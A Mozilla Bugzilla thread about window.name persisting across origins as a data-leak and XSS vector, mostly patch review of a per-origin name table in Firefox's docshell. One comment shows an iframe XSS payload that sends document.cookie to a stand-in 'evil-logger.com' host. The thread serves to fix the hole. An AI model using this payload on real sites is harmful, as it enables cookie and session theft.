Closed Bug 444222 Opened 16 years ago Closed 4 years ago

window.name can be used as an XSS attack vector

Categories

(Core :: DOM: Core & HTML, defect, P2)

defect

Tracking

()

RESOLVED FIXED
82 Branch
Tracking Status
firefox82 --- fixed

People

(Reporter: johnhoogstrate, Assigned: timhuang)

References

(Blocks 3 open bugs)

Details

(Keywords: dev-doc-needed, parity-safari, Whiteboard: [tor][tor-standalone][tor 16620][domsecurity-backlog1] , [wptsync upstream])

Attachments

(10 files, 12 obsolete files)

19.87 KB, patch
Details | Diff | Splinter Review
34.61 KB, patch
Details | Diff | Splinter Review
1.22 KB, text/html
Details
669 bytes, application/x-xpinstall
Details
47 bytes, text/x-phabricator-request
Details | Review
47 bytes, text/x-phabricator-request
Details | Review
47 bytes, text/x-phabricator-request
Details | Review
47 bytes, text/x-phabricator-request
Details | Review
47 bytes, text/x-phabricator-request
Details | Review
47 bytes, text/x-phabricator-request
Details | Review
User-Agent:       Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9) Gecko/2008061712 Firefox/3.0
Build Identifier: 

The window.name property is accessible through JavaScript for both reading and writing, will persist among pages from different domains and allows for upto 2 megabytes of executable code and personal information to be inserted which can later be read and modified by another website.

This technique is being used to sidestep security that session cookies, client side storage and server side cross domain communication offer.

Disturbing is the fact that there us a growing number of JavaScript libraries that promote the use of this technique:

http://pablotron.org/?cid=1557
http://www.thomasfrank.se/sessionvars.html
http://code.google.com/p/quipt/

The quipt library's main selling point is that it improves loading speeds by sidestepping the browser's cache, not only is this a non-existing problem, it's claims are not proven, some people claiming to have tested the performance say the opposite is true. http://gathering.tweakers.net/forum/list_message/30387525#30387525 (Dutch forum posting about this subject)

The biggest danger of this all is that seemingly knowledgable people are promoting this technique which significantly increases the chance that people start using it for storing personal information which can then be easily stolen by any website who happens to be opened in the same window. The chance of this happening can be significantly increased if the attacker can put a simple HTML-link on the website that uses this technique.

My advice is to break this functionality in Firefox as soon as possible before it gains more ground and can inflict damage and becomes so prevalent that breaking it would do even more damage. This can be achieved by both limiting the allowed window name to less characters to make it less appealing and reseting the window name each time a page from a different host is requested.

Reproducible: Always

Steps to Reproduce:
1.
2.
3.
I'm not sure I understand what you perceive to be the problem. What exactly does the window.name functionality allow that's not already possible otherwise?  

Sites can already share information, whether it's through the browser or not. In fact in Firefox 3 we added window.postMessage, which makes it even easier for sites to share information (assuming both sites are cooperating, as is the case with setting/reading window.name).
Both websites don't have to be cooperating, or be even aware of each other's existence for communication using window.name.

If website example.com is using window.name to store information and any person opens a page at badhacker.com in the same window this page can read and modify all information set in window.name. 

By analyzing the content badhacker.com can determine whether a person visited a specific website in the same session and window, even if the browser history and cache have been cleared. If example.com was stupid enough to store personal information in it, this can also be extracted and saved.

Additionally badhacker.com can modify the content so that when the user returns to example.com the website will try to execute the content assuming that it contains the same script that it put in it, the modified script can then do even more damage by changing the behavior of example.com or by stealing even more personal information by sending it to badhacker.com or any other website.
Well, that attack is a bit far fetched, because it requires you to actually manually visit the "badhacker.com" site in the same window as a site that uses window.name to store private information (or information that it assumes hasn't been tampered with and is critical to the site's functionality).

I guess it could be a problem if sites start doing that without being aware of the consequences, but it's not much different than sites storing your information out in the open some other way, or otherwise relying on untrusted input (via, e.g. GET). It's not clear to me that trying to block this at the browser level will actually solve any problems.
Blocks: xss
I don't think it is far fetched, with increased browser security over the last years hackers are getting more and more creative. The chance of someone from example.com visiting badhacker.com can be greatly increased if that website has some kind of interactivity that allows place to post links, which is not at all uncommon.

If unfixed I expect many websites to start using it because it is a very good way to circumvent various security measures regarding cross domain communication. More importantly, these libraries make it accessible for people with even less experience, and promote it as a good practice. 

Less experienced web developers run into XSS security measures all the time. They will search the internet, find this technique, apply it to their situation and see that it works and continue to use it in the feature because it is an easy fix that works in all major browsers.

This is on a whole different level than websites storing information in public because the browser carries the information from website to website and is unlike variables in GET completely invisible to the user, and cannot be erased by clearing the history, cache and cookies.
Not to mention it's a great way to write very concise XSS "first stage" vectors hiding the actual payload from the server side, such as:

<iframe src="http://vulnerable.com/?',location=name//" target="javascript:new Image().src='http://evil-logger.com/?cookie='+document.cookie'"></iframe>
I would not call this an XSS attack in itself.

What it is is a bad programming practice that can lead to leaking of private data. It can also XSS attacks if the site takes the value in window.name and evaluates it without validating it first, just as it leads to XSS attacks if sites takes values in query parameters and evaluates it without validating it.

So I am more concerned about the private data leakage that can result from careless use of this. It also violates browser privacy settings for example if a user has disabled cookies.

What we should do is to reset window.name whenever a top frame is navigated from one site to another. This means that if the user navigates to another site to another the data is wiped, honoring any possible privacy settings as well as protects the sites data.

Additionally we should strongly discourage this whole mechanism. There are much better ways to accomplish the same thing. For example use the client side storage APIs: http://developer.mozilla.org/en/docs/DOM:Storage

I also believe that you can set properties on the window.navigator object which will be preserved across pages within the same site.
Status: UNCONFIRMED → NEW
Ever confirmed: true
Ok, Dan had different opinions then me, so before we do anything here I'd like to hear from him.
I've got a patch ready that just resets window.name if the domain changes in the top window.  I can post it if we end up agreeing on that strategy.
I am very pleased that this problem is being addressed so quickly. 

Jonas, you write that this practice should be strongly discouraged, what do you have in mind?

The idea that I wrote earlier is to decrease the maximum allowed size for the window.name. Instead of 2 megabytes something like 256 bytes would be more than enough to use the property for its intended purpose. This would discourage the practice of abusing it for other purposes on a technical level.
> I am very pleased that this problem is being addressed so quickly. 
> 
> Jonas, you write that this practice should be strongly discouraged, what do
> you have in mind?

Strong wording like "DON'T STORE DATA IN THIS PROPERTY. ARE YOU FREAKIN' INSANE!" in the article about the property :)

> The idea that I wrote earlier is to decrease the maximum allowed size for the
> window.name. Instead of 2 megabytes something like 256 bytes would be more 
> than enough to use the property for its intended purpose. This would
> discourage the practice of abusing it for other purposes on a technical level.

I'm somewhat reluctant to do this. I know that some people use iframe.name as a way to implement .postMessage in older browsers.

Hopefully once postMessage and localStorage is implementing more widely across browsers we can remove the support for hacks like these :(

/ Jonas
Attached patch proposed patch (obsolete) — Splinter Review
Would have posted earlier, but I misunderstood the behavior of CheckSameOriginURIs.  Nothing interesting, just a brain-dead oversight.

If you think I'm calling SetName(NS_LITERAL_STRING("")) too soon (i.e., before it's absolutely certain that we're loading a new URI), I've written the code so that it can be easily postponed.
Attachment #331236 - Flags: review?
Attachment #331236 - Flags: review? → review?(jonas)
Attached patch proposed patch (obsolete) — Splinter Review
How'd that silly newline sneak in at the top of the file?!  /me wants to know
Attachment #331236 - Attachment is obsolete: true
Attachment #331237 - Flags: review?
Attachment #331236 - Flags: review?(jonas)
Attachment #331237 - Flags: review? → review?(jonas)
Comment on attachment 331237 [details] [diff] [review]
proposed patch

Actually, I think i'd prefer if bz looked at this given how complex loading is and this is a security feature.

Also, you should write some mochitests
Attachment #331237 - Flags: review?(jonas) → review?(bzbarsky)
Won't this break things if the user, say, navigates back in the window?
(That's before we start worrying about redirects, etc, which this patch also has problems with as far as I can tell).

I could also have sworn I've seen a bug about resetting window.name before, but I can't find it.

Oh, one other obvious use case this breaks:

  var win = window.open('url', "x");
  // wait a bit
  win = window.open('url2', "x");
  // wait a bit more
  win = window.open('url3', "x");

That should open all three urls in the same window.  What happens if they all have different hostnames?
Ugh, yeah, we probably have to deal with the user clicking 'back'. So the name has to be stored in session history :(

var win = window.open('url', "x");
// wait a bit
win = window.open('url2', "x");
// wait a bit more
win = window.open('url3', "x");

Should work fine as there is no transition between origins. Additionally, do we support targetting frames from different origins?
> Should work fine as there is no transition between origins.

Like I said, "What happens if they all have different hostnames?"

> Additionally, do we support targetting frames from different origins?

As I recall, yes, if you're the opener.
(In reply to comment #16)
> So the name has to be stored in session history :(

Is that because we want to restore the name if the user clicks forward and returns to the page?

Deeper question: is this destructive clobbering strategy really what we want?  Seems better (& possibly simpler) to restrict reading window.name somehow, but never actually overwrite it.
Yeah, that sounds much better to me.  Restrict reading window.name to names set by the same origin as you.
Comment on attachment 331237 [details] [diff] [review]
proposed patch

r- per comments.
Attachment #331237 - Flags: review?(bzbarsky) → review-
(In reply to comment #19)
> Yeah, that sounds much better to me.  Restrict reading window.name to names set
> by the same origin as you.
> 

Got sidetracked with other bugs, but Jonas and I agree with you that restricting GetName is a better way to go.
Assigning to Ben since he's working on it.
Assignee: nobody → bnewman
I think we need exactly the same fix for the window.status property as well.
Summary: window.name can be used as an XSS attack vector → window.name/.status can be used as an XSS attack vector
(In reply to comment #23)
> I think we need exactly the same fix for the window.status property as well.

I don't think so. As far as I know, window.status cannot be read nor set anymore by default.

Right, the default configuration makes it a no-op. But I don't think people that change that configuration expect that to allow cross-site messaging.
Depends on: 454850
Attached patch per-origin window namespaces (obsolete) — Splinter Review
With this patch, getting and setting a window's name depends not only on the window itself but also on the origin of the current principal.  Any principal can assign any name it likes to any window to which it holds a reference, but this assignment cannot affect any other principal's names for the windows in question.  Same-origin principals always agree on the name of a window, but—and here's the important part—principals from different origins can no longer use window.name to communicate.  These changes preserve the few legitimate uses of window.name but prevent all the malicious uses that I could think of.

All of this is accomplished by keeping a hashtable from principals to names in the docshell belonging to each window.  GetName and SetName consult this hashtable, and all other name-related operations consult GetName and SetName.

The hashing of principals won't work exactly right unless a bug in nsPrincipal::GetHashValue is fixed as well (see bug 454850), but I posted a patch for that this morning.

I know Jonas has some misgivings about the complexity of this design, but I thought I'd post the code anyways, so folks can see what the implementation looks like.  At the very least, the mochitests included in this patch were useful for testing my patch for bug 454850.
Attachment #331237 - Attachment is obsolete: true
Ignoring for now some of the weird casting going on here, it looks to me like this patch will break <a target=""> and <form target=""> since those do the FindItemWithName dance without there being any JS (and hence any principal) on the stack, no?
(In reply to comment #27)
> Ignoring for now some of the weird casting going on here,

Do you mean |((nsString)name).Equals(aName);|?  I'm guessing it would be better to assign name to an nsAutoString and invoke Equals on that?

> this patch will break <a target=""> and <form target=""> since those do the
> FindItemWithName dance without there being any JS (and hence any principal) on
> the stack, no?

True, I didn't pay attention to the possibility that GetSubjectPrincipal might fail.  Targets like _blank and _top should still work, but I know it's common to target a named iframe with a form to do cross-site POSTs.  There must be a way to derive a principal from the origin of the page containing the <a> and <form> html, though, right?
> Do you mean |((nsString)name).Equals(aName);|?

Yes, and const_cast<nsString**>(&name)) (can the hashtable just have |const nsString| as the object type, say?).

The cast to nsString above, though, just shouldn't work, period.  You can't just cast a PRUnichar* to nsString.  I'm a little unhappy that the compiler even allows it (C-style casts are evil like that), and it should certainly malfunction at best and crash at worst.  There's also the minor matter of your NameEquals leaking the string...  Just use an nsXPIDLString and getter_Copies here: that's what it's for.

> There must be a way to derive a principal from the origin of the page
> containing the <a> and <form> html, though, right?

Of course.  I think the right thing should be to pass a requesting principal to GetName().  Then nsGlobalWindow can pass in the caller principal, while docshell passes in a principal derived from the originalRequestor.  See what ValidateOrigin does to get it, I guess?

You'd also need to check all other GetName() callers to see what they should be doing, of course.
(In reply to comment #29)
> Yes, and const_cast<nsString**>(&name)) (can the hashtable just have |const
> nsString| as the object type, say?).

Yes, it can.  I forget exactly why this seemed necessary (it's been a few weeks and I wrote that code before I'd fixed bug 454850).  Trouble casting from *const* to const**, or something like that.  Whatever the need, it's gone now.
 
> The cast to nsString above, though, just shouldn't work, period.  You can't
> just cast a PRUnichar* to nsString.  I'm a little unhappy that the compiler
> even allows it (C-style casts are evil like that),

Me too.  When everything appeared to work, I assumed there must be a PRUnichar* constructor doing the implicit conversion.  Won't make that mistake again!

> There's also the minor matter of your
> NameEquals leaking the string...  Just use an nsXPIDLString and getter_Copies
> here: that's what it's for.

Oh, that's nice.

> Of course.  I think the right thing should be to pass a requesting principal to
> GetName().  Then nsGlobalWindow can pass in the caller principal, while
> docshell passes in a principal derived from the originalRequestor.  See what
> ValidateOrigin does to get it, I guess?

I'll update the patch when I've looked into this.
(In reply to comment #29)
> I think the right thing should be to pass a requesting principal to
> GetName().  Then nsGlobalWindow can pass in the caller principal, while
> docshell passes in a principal derived from the originalRequestor.

Since GetName/SetName implement the IDL attribute "name" of nsIDocShellTreeItem, the single PRUnichar** parameter seems required for scriptability and all that.  Not sure what the best way to pass in additional arguments would be--any ideas?
Change it from an attribute to a getter and setter?
You mean to an internal-only getter/setter pair that the idl getter/setter forwards to right? We need web compat here.
We're talking about nsIDocShellTreeItem.name here.
Comment from nsDocShell::GetName:

+// Passing nsnull for the aPrincipal parameter of GetName, SetName, or
+// NameEquals causes the docshell to use the current subject pricipal or
+// its own node principal, in that order.  Passing an argument other than
+// nsnull is only necessary when one needs to override these defaults.

Most other changes are simply to add nsnull as an initial argument to one of these docshell methods, with a couple of exceptions; e.g., in nsDocShell::FindChildWithName, which derives the principal from aOriginalRequestor.  Another exception:

--- a/content/base/src/nsFrameLoader.cpp
+++ b/content/base/src/nsFrameLoader.cpp
@@ -747,17 +747,17 @@ nsFrameLoader::EnsureDocShell()
   if (!frameName.IsEmpty()) {
-    docShellAsItem->SetName(frameName.get());
+    docShellAsItem->SetName(doc->NodePrincipal(), frameName.get());
   }

This change ensures that iframes get named using the principal of their parent documents.
Attachment #338415 - Attachment is obsolete: true
Attachment #340048 - Flags: review?(bzbarsky)
Comment on attachment 340048 [details] [diff] [review]
GetName, SetName, NameEquals now take nsIPrincipal parameter

>+++ b/content/base/src/nsFrameLoader.cpp
>+    docShellAsItem->SetName(doc->NodePrincipal(), frameName.get());

mOwnerContent->NodePrincipal(), please.

>+++ b/content/html/document/src/nsPluginDocument.cpp
>+    dsti->NameEquals(nsnull, NS_LITERAL_STRING("messagepane").get(), &isMsgPane);

Have you tested this?  This doesn't seem right; more below.

>+++ b/docshell/base/nsDocShell.cpp

>+NS_IMETHODIMP
>+nsDocShell::GetPrincipal(nsIPrincipal 

I'd prefer this were renamed to GetCurrentDocumentPrincipal() or something to emphasize that it is NOT an immutable property of the docshell.

>+    return NS_ERROR_FAILURE;

Might be good to set the out param to null on failure anyway, just in case.

>+    if (NS_SUCCEEDED(GetPrincipal(aPrincipalPtr)))
>+        return NS_OK;
>+
>+    return NS_ERROR_FAILURE;

Why not just

  return GetPrincipal(aPrincipalPtr);

?

So in the plugin document case the subject principal is almost certainly going to be null, and the current document principal is the (hostile) plug-in.  But the frame name was set by chrome, so the name check will fail, and we'll get exploitable mailnews unless we have since added other means of preventing that problem.

Of course there shouldn't be a mailnews hack here in the first place, so maybe that's the way to approach that problem: replace this code with something saner.

>+// Passing nsnull for the aPrincipal parameter of GetName, SetName, or
>+// NameEquals causes the docshell to use the current subject pricipal or
>+// its own node principal, in that order.  

"its current document's node principal"

>+NS_IMETHODIMP
>+nsDocShell::GetName(const nsIPrincipal* aPrincipal, PRUnichar** aName)

As long as you're changing this signature, why not just make it return nsAString instead of wstring, and then not have to play as many games with ToNewUnicode, etc, etc?  Just get from the hashtable, truncate the out param on failure, assign to the out param on success.

Similar for the other two methods.

>+    if (!aPrincipal &&
>+        NS_SUCCEEDED(GetSubjectOrDocumentPrincipal(getter_AddRefs(sodp))))

As currently written, if GetSubjectOrDocumentPrincipal throws, we should probably just throw here or something...

>@@ -2544,19 +2611,22 @@ nsDocShell::FindChildWithName(const PRUn
>+        nsCOMPtr<nsIPrincipal> orp;
>+        if (aOriginalRequestor &&
>+            NS_SUCCEEDED(aOriginalRequestor->GetPrincipal(getter_AddRefs(orp))) &&

Why not do this part before entering the loop, rather than for every child?

>+++ b/docshell/base/nsIDocShellTreeItem.idl
> [scriptable, uuid(09b54ec1-d98a-49a9-bc95-3219e8b55089)]

Need to rev the iid.

>+	readonly attribute nsIPrincipal principal;
>+	wstring getName([const] in nsIPrincipal principal);
>+	void    setName([const] in nsIPrincipal principal,
>+	                [const] in wstring name);

Please document these carefully, and see above about signature.

>+++ b/dom/tests/mochitest/bugs/test_bug444222.html
>+  // Accessing the name of a window with a different principal is permitted!
>+  is(open(diffHostURI, "different host").name, "different host",
>+     "Name of different-host window not accessible.");

That's not accessing a window with a different principal, since you're not waiting for the URI to actually load....

>+  window.checkXSSafety = function(childName) {
>+    is(childName, name, "Child window's name changed by malicious principal.");
>+    is(child.name, name, "Parent window's 

What's |child| here?

>+++ b/embedding/browser/webBrowser/nsWebBrowser.cpp
>-   if(mDocShell)  
>-      mDocShellAsItem->GetName(aName);

Wouldn't mDocShellAsItem be non-null if and only if mDocShell is non-null?  Not sure why we need the Ensurel... function here.

>@@ -1173,17 +1193,17 @@ NS_IMETHODIMP nsWebBrowser::Create()
>+   mDocShellAsItem->SetName(nsnull, mInitInfo->name.get());

Will this really do the right thing?  The caller is almost certainly not JS here (so no subject principal), and the callee has no document yet (so getting one will either fail or create an about:blank with a one-off principal).  So this name set will never be visible to anyone, basically....

>+++ b/embedding/components/windowwatcher/src/nsWindowWatcher.cpp
>+    newDocShellItem->SetName(nsnull,
>+                             nameSpecified && !name.LowerCaseEqualsLiteral("_blank") ?
>                              name.get() : 

Again, this could just fail to get a useful principal...

Perhaps instead of falling over to the document principal we should fall over to the system principal (though we can't use that with the hashtable), and then allow anyone to see (but not change) the names the system principal sets?
Attachment #340048 - Flags: review?(bzbarsky) → review-
(In reply to comment #36)
> >+NS_IMETHODIMP
> >+nsDocShell::GetName(const nsIPrincipal* aPrincipal, PRUnichar** aName)
> 
> As long as you're changing this signature, why not just make it return
> nsAString instead of wstring, and then not have to play as many games with
> ToNewUnicode, etc, etc?  Just get from the hashtable, truncate the out param on
> failure, assign to the out param on success.
> 
> Similar for the other two methods.

Changing the IDL type to astring (and thus the implementation type to nsAString&) has wide-propagating consequences, unless I'm missing something.  It helps a little in GetName, sure, but every caller of these functions has to be modified, and while that's not terribly daunting it does give me some pause.  Unless moving from wstring to astring is a general goal of ours, not sure I grasp the wisdom of what you're suggesting.
You're changing all callers anyway to pass in a principal, right?

> Unless moving from wstring to astring is a general goal of ours

It is, yeah.
Which is not to say that you have to do it here, by the way.  It was just a suggestion, and if you're not happy doing it I'm fine with leaving stuff as-is and perhaps filing a followup bug to do it.
Attached patch falling over to system principal (obsolete) — Splinter Review
Passing nsnull to {Get,Set}Name and NameEquals less often now; see comments for case-by-case rationale.  Still not entirely confident about

>@@ -1173,17 +1193,17 @@ NS_IMETHODIMP nsWebBrowser::Create()
>+   mDocShellAsItem->SetName(???, mInitInfo->name.get());

since, as you say, there's no document yet, but I've done something that seems reasonable in this patch.  Tests would help, of course.
Attachment #340048 - Attachment is obsolete: true
Attachment #341383 - Flags: review?
Attachment #341383 - Flags: review? → review?(bzbarsky)
Attached patch removed obsolete comment (obsolete) — Splinter Review
The (corrected) content of that comment is now contained in nsDocShellTreeItem.idl.
Attachment #341383 - Attachment is obsolete: true
Attachment #341384 - Flags: review?(bzbarsky)
Attachment #341383 - Flags: review?(bzbarsky)
I'm not sure why we don't get the system principal in SetName().

Or why we're still calling the principals |sodp|.
(In reply to comment #42)
> I'm not sure why we don't get the system principal in SetName().

That would simplify nsWebBrowser::Create(), as it would ensure the name always gets set.  If we always have a subject principal in nsGlobalWindow::SetName, I suppose there's no risk of setting the name with the system principal from JS.

> Or why we're still calling the principals |sodp|.

mea culpa, |sp| it should be
Any time we're called from JS we have a subject principal.

The nsBrowser::Create thing worries me.  Have you tested an embedding app (like Camino say) to make sure you're not breaking their named windows completely?
(In reply to comment #44)
> The nsBrowser::Create thing worries me.  Have you tested an embedding app (like
> Camino say) to make sure you're not breaking their named windows completely?

No, not yet, and only because it seems involved.  Happy to give it a try today.  Roughly, this means checking out the camino CVS trunk and attempting to apply these patches to it?  Or is there a simpler way?
Probably, yeah...
(In reply to comment #45)
> > The nsBrowser::Create thing worries me.  Have you tested an embedding app (like
> > Camino say) to make sure you're not breaking their named windows completely?
> Roughly, this means checking out the camino CVS trunk and attempting to apply
> these patches to it?  Or is there a simpler way?

The news from yesterday: after manually applying the patches for 454850 and 444222, my tests still pass.  While not discouraging, I doubt this means a whole lot.

Further consideration this morning led me to nsWebBrowser::SetName, which is how the value of mInitInfo->name is acquired initially.  Of course, nsWebBrowser::SetName now takes a principal, so perhaps we should just store that principal in mInitInfo.  That would clear up all the confusion in Create.  The most correct thing to do would be to keep a hashtable mapping principals to names in mInitInfo, but that might be overkill.
Actually that sounds like the right solution.  Keep the hashtable and on create enumerate it, sync names with the docshell, and clear it.
Attachment #341384 - Attachment is obsolete: true
Attachment #341384 - Flags: review?(bzbarsky)
to be used in both nsDocShell and nsWebBrowser
Attachment #342320 - Flags: review?(jonas)
(In reply to comment #48)
> Actually that sounds like the right solution.  Keep the hashtable and on create
> enumerate it, sync names with the docshell, and clear it.

Implemented that.  I considered simply handing the name table off to the docshell, so that the sync would take constant time, but merging instead of replacing better handles the possiblity that the docshell already may have a name table (do we care?).
Attachment #342323 - Flags: review?(bzbarsky)
Attachment #342320 - Flags: superreview?(bzbarsky)
Ben, would it be possible to put up an interdiff of the current two patches taken together against the last patch that I reviewed?  That would make reviewing this much simpler...
(In reply to comment #51)
> Ben, would it be possible to put up an interdiff of the current two patches
> taken together against the last patch that I reviewed?  That would make
> reviewing this much simpler...

Good to learn how to do that.  Hope this helps.
Attachment #344137 - Attachment is patch: true
Attachment #344137 - Attachment mime type: application/octet-stream → text/plain
Er, I think I assumed you'd do an interdiff against the "removed obsolete comment" patch (which is the last patch I read and commented on, though I didn't mark any review flags)...
(In reply to comment #53)
> Er, I think I assumed you'd do an interdiff against the "removed obsolete
> comment" patch (which is the last patch I read and commented on, though I
> didn't mark any review flags)...

no problem (yes, I was going by the flags)
Attachment #344137 - Attachment is obsolete: true
Comment on attachment 344161 [details] [diff] [review]
interdiff from "removed obsolete comment" patch to current two patches

>+++ b/docshell/base/nsDocShell.cpp
>-    NS_ENSURE_TRUE(mNames.Init(), NS_ERROR_OUT_OF_MEMORY);

Why not keep creating the table here and not having to do the ENSURE_NAME_TABLE stuff on every call in?  I'd guess that it's pretty rare to end up with a docshell that doesn't need a name table at some point.

If you do keep ENSURE_NAME_TABLE, please use PR_BEGIN/END_MACRO so that it requires a trailing semicolon...  But I really think creating up front is better.

>+++ b/docshell/base/nsDocShell.h
>+#include "caps/nsIPrincipalNameTable.h"

Shouldn't need the "caps/" part, I would think.

>+++ b/docshell/base/nsIDocShellTreeItem.idl
>+	/**
>+	 * For further comments explaining getName, setName, and nameEquals, see
>+	 * nsIPrincipalNameTable.idl
>+	 */
>+

>+	/* Get the name of this tree item according to the provided principal. */

Please actually use javadoc style here:

  /**
   * Get the name of this tree item according to the provided principal.
   *
   * @see nsIPrincipalNameTable.getName
   */

Similar for the other comments here.

Also, put the one new method at the end of the interface?  I don't see a strong reason to put it up with the name methods offhand, and minimizing change to the vtable is good.

>+++ b/embedding/browser/webBrowser/nsWebBrowser.cpp
>+#define NAME_ACCESSOR_OPERATION(METHOD_CALL) {                                            \
>+    if (mDocShell) {                                                                      \
>+        return mDocShellAsItem->METHOD_CALL;                                              \
>+    } else 

No need for else after return.

Again, use of PR_BEGIN/END_MACRO would help.  As written, you have trailing unnecessary ';' around.

>+++ b/embedding/components/windowwatcher/src/nsWindowWatcher.cpp

I don't think this code is correct.  In particular, if window A calls open() on window B, then the parent here will be window B, but we probably want to use the principal of window A.

Now that we fall back from null to subject and system in that order, I would probably just use null here.

>+++ b/caps/idl/nsIPrincipalNameTable.idl

This needs a newline at end of file.

>+++ b/caps/include/nsPrincipalNameTable.h
>+class nsPrincipalNameTable : public nsIPrincipalNameTable
>+    nsPrincipalNameTable() { NS_ASSERTION(mNames.Init(), "Out of memory?!"); 

That fails to call Init() in a non-debug build.  I'd just call Init() here and not worry about asserting, or use a factory constructor with init if you really want to be careful.

>+protected:
>+    ~nsPrincipalNameTable() {}

That needs to be virtual.

>+++ b/caps/src/nsPrincipalNameTable.cpp
>+#define ENSURE_NAMING_PRINCIPAL(PRINCIPAL) {                             \
>+    nsresult rv;                                                         \
>+    nsCOMPtr<nsIScriptSecurityManager> secMgr =                          \
>+        do_GetService(NS_SCRIPTSECURITYMANAGER_CONTRACTID, &rv);         \
>+    if (secMgr) {                                                        \
>+        rv |= secMgr->GetSubjectPrincipal(getter_AddRefs(PRINCIPAL));    \
>+        if (!PRINCIPAL)                                                  \
>+            rv |= secMgr->GetSystemPrincipal(getter_AddRefs(PRINCIPAL)); \

You're in caps/src, right?  How about #include "nsScriptSecurityManager.h" and then using nsScriptSecurityManager::GetScriptSecurityManager()?

Heck, you could expose non-XPCOM versions of GetSubjectPrincipal and GetSystemPrincipal here.

And in fact, you could make this all a static function:

  nsIPrincipal* GetNamingPrincipal();

or 

  nsIPrincipal* GetNamingPrincipal(nsIPrincipal* aInputPrincipal);

if you did that.  Or already_AddRefed<nsIPrincipal> if you want to stick with the XPCOM signatures for now (which is fine by me).  Then just do that and the single NS_ENSURE_TRUE(principal, NS_ERROR_OUT_OF_MEMORY) in the callers (that's the only way we can fail to have a system principal).

>+    NS_ENSURE_TRUE(PRINCIPAL, rv | NS_ERROR_FAILURE);                    \

I'm not cool with actually _returning_ bogus rv values here.

>+nsPrincipalNameTable::GetName(const nsIPrincipal *aPrincipal,
>+    const nsString *name = &empty;

Why set it here if this assignment is always clobbered?

>+    *aNamePtr = ToNewUnicode(*name);
>+
>+    return NS_OK;

Need to handle OOM.  (This is where using an AString signature would pay off...)

>+nsPrincipalNameTable::SetName(const nsIPrincipal *aPrincipal,
>+        mNames.Put(aPrincipal, new nsString(aName));

Need to handle OOM.

>+nsPrincipalNameTable::NameEquals(const nsIPrincipal *aPrincipal,
>+    GetName(aPrincipal, getter_Copies(name));

Need to handle GetName failure.

>+NameEnum(const nsIPrincipal *aPrincipal,
>+    static_cast<nsIPrincipalNameTable*>(aReceiver)
>+        ->SetName(aPrincipal, ToNewUnicode(*aName));

This leaks the string ToNewUnicode allocates.  Is there any reason not to just use aName->get() here?

>+nsPrincipalNameTable::CopyTo(nsIPrincipalNameTable *receiver)

aReceiver, right?

>+++ b/embedding/browser/webBrowser/nsWebBrowser.h
>+#include "caps/nsIPrincipalNameTable.h"

Again, shouldn't need the "caps/" part.
Attachment #342320 - Flags: superreview?(bzbarsky) → superreview-
Attachment #342323 - Flags: review?(bzbarsky) → review-
compare with "introducting the nsiprincipalnametable component" patch.  addresses bz's review comments.  still working on the patch that changes nsDocShell and nsWebBrowser (my previous "proposed patch").
Attachment #342320 - Attachment is obsolete: true
Attachment #342320 - Flags: review?(jonas)
That last patch doesn't seem to address my review comments (and exports the nsPrincipalNameTable.h header, which seems undesirable).
(In reply to comment #57)
> That last patch doesn't seem to address my review comments (and exports the
> nsPrincipalNameTable.h header, which seems undesirable).

Ack, you're right.  Fortunately (?) I posted the wrong patch.  The empty interdiff might have clued me in about that...
Attachment #344400 - Attachment is obsolete: true
(In reply to comment #58)
> Created an attachment (id=344418) [details]
> nametable that actually addresses review comments
> 
> (In reply to comment #57)
> > That last patch doesn't seem to address my review comments (and exports the
> > nsPrincipalNameTable.h header, which seems undesirable).
> 
> Ack, you're right.  Fortunately (?) I posted the wrong patch.  The empty
> interdiff might have clued me in about that...

Some remarks...

First, I realize nsPrincipalNameTable.h is still being exported; I just forgot to qrefresh.

Second, GetNamingPrincipal is inlined in nsScriptSecurityManager.h because I kept getting linker errors that I couldn't resolve (nsScriptSecurityManager::GetNamingPrincipal was an undefined symbol where it was used in nsPrincipalNameTable.cpp).  If you have any ideas about that I'm interested to hear them.

Third, bugzilla's interdiff facility really is unreliable (doesn't seem to know about new files, in particular).  Let me know if you want another real interdiff.
I meant to just use a static function in nsPrincipalNameTable.cpp...

As written, GetNamingPrincipal() returns an addrefed principal sometimes, and then the callers leak it.

I think you want "AString" in the IDL, and don't need the [const] decoration for the string in param.

Is there a reason to not have GetNamingPrincipal() just take |const nsIPrincipal*| instead of doing const_cast?

No need to use nsXPIDLString anymore.  Just use nsString there?

Do you really need the .get() part of *aName.get()?  I wouldn't think so, since nsAutoPtr has an operator* defined that does the right thing as far as I can tell.
(In reply to comment #60)
> I meant to just use a static function in nsPrincipalNameTable.cpp...

That does make more sense.  If only "static" were not such an overloaded term...

I'm still using XPCOM versions of GetSubjectPrincipal and GetSystemPrincipal, since that's a little simpler.  Did you mean I could add non-ADDREFing versions of those methods to the security manager?

I also decided to write GetName so that it never fails, for simplicity.  If an OOM situation arose, GetName would just return the empty string.
Attachment #344418 - Attachment is obsolete: true
Attached patch proposed patchSplinter Review
(In reply to comment #55)
> (From update of attachment 344161 [details] [diff] [review])
> >+++ b/docshell/base/nsDocShell.cpp
> >-    NS_ENSURE_TRUE(mNames.Init(), NS_ERROR_OUT_OF_MEMORY);
> 
> Why not keep creating the table here and not having to do the ENSURE_NAME_TABLE
> stuff on every call in?  I'd guess that it's pretty rare to end up with a
> docshell that doesn't need a name table at some point.

Agreed.  The reason for the laziness no longer exists.

> >+++ b/docshell/base/nsDocShell.h
> >+#include "caps/nsIPrincipalNameTable.h"
> 
> Shouldn't need the "caps/" part, I would think.

Unless I'm neglecting something in caps/idl/Makefile.in, the "caps/" part seems necessary, since caps lives in its own library.

> Please actually use javadoc style
> [...]
> Also, put the one new method at the end of the interface?  I don't see a strong
> reason to put it up with the name methods offhand, and minimizing change to the
> vtable is good.

Done, done.

> >+++ b/embedding/browser/webBrowser/nsWebBrowser.cpp
> >+#define NAME_ACCESSOR_OPERATION(METHOD_CALL) {                                            \
> >+    if (mDocShell) {                                                                      \
> >+        return mDocShellAsItem->METHOD_CALL;                                              \
> >+    } else 
> 
> No need for else after return.
> 
> Again, use of PR_BEGIN/END_MACRO would help.  As written, you have trailing
> unnecessary ';' around.

Fair enough.

> >+++ b/embedding/components/windowwatcher/src/nsWindowWatcher.cpp
[...]
> Now that we fall back from null to subject and system in that order, I would
> probably just use null here.

I can live with correct and simpler, sure :)


NAMETABLE RELATED COMMENTS:

> >+++ b/caps/include/nsPrincipalNameTable.h
> >+class nsPrincipalNameTable : public nsIPrincipalNameTable
